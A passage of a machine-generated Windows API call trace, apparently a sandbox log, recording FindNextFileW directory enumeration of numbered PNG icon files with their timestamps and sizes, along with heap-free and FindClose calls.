ftCreationTime.dwLowDateTime=0xbc26e8a2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc26e8a2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3b145c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)grayStateIcon.png", cAlternateFileName="")) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3d75bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)greenStateIcon.png", cAlternateFileName="")) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3fd71c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3fd71c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbe3fd71c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)redStateIcon.png", cAlternateFileName="")) returned 0 [0090.470] GetLastError () returned 0x12 [0090.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c8b8) returned 1 [0090.471] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c6a8) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0cb98d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0cb98d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0cb98d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0cb98d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="18.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0f1aec, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0f1aec, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="19.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0f1aec, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0f1aec, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1px.gif", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc117c4b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc117c4b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="20.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="21.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="22.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="23.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc163f09, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc163f09, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc18a068, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc18a068, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="25.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc18a068, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc18a068, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="26.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1b01c7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1b01c7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="27.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1d6326, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1d6326, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="28.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1fc485, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1fc485, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="29.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1fc485, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1fc485, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2225e4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2225e4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="30.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2225e4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2225e4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="31.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc248743, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc248743, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc248743, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc248743, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="33.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc26e8a2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc26e8a2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd77e39c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x0, dwReserved1=0x0, cFileName="34.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd77e39c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="35.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x0, dwReserved1=0x0, cFileName="36.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="37.png", cAlternateFileName="")) returned 1 [0090.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="38.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="39.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1874, dwReserved0=0x0, dwReserved1=0x0, cFileName="40.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc32cf7d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc32cf7d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7ca65c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="41.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3530dc, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc3530dc, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="42.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="43.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="44.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="45.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="46.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="47.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4117b7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4117b7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc437916, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc437916, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4a9d33, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4a9d33, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd83ca7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4cfe92, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc4cfe92, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0090.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc51c150, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc51c150, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd862bdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, 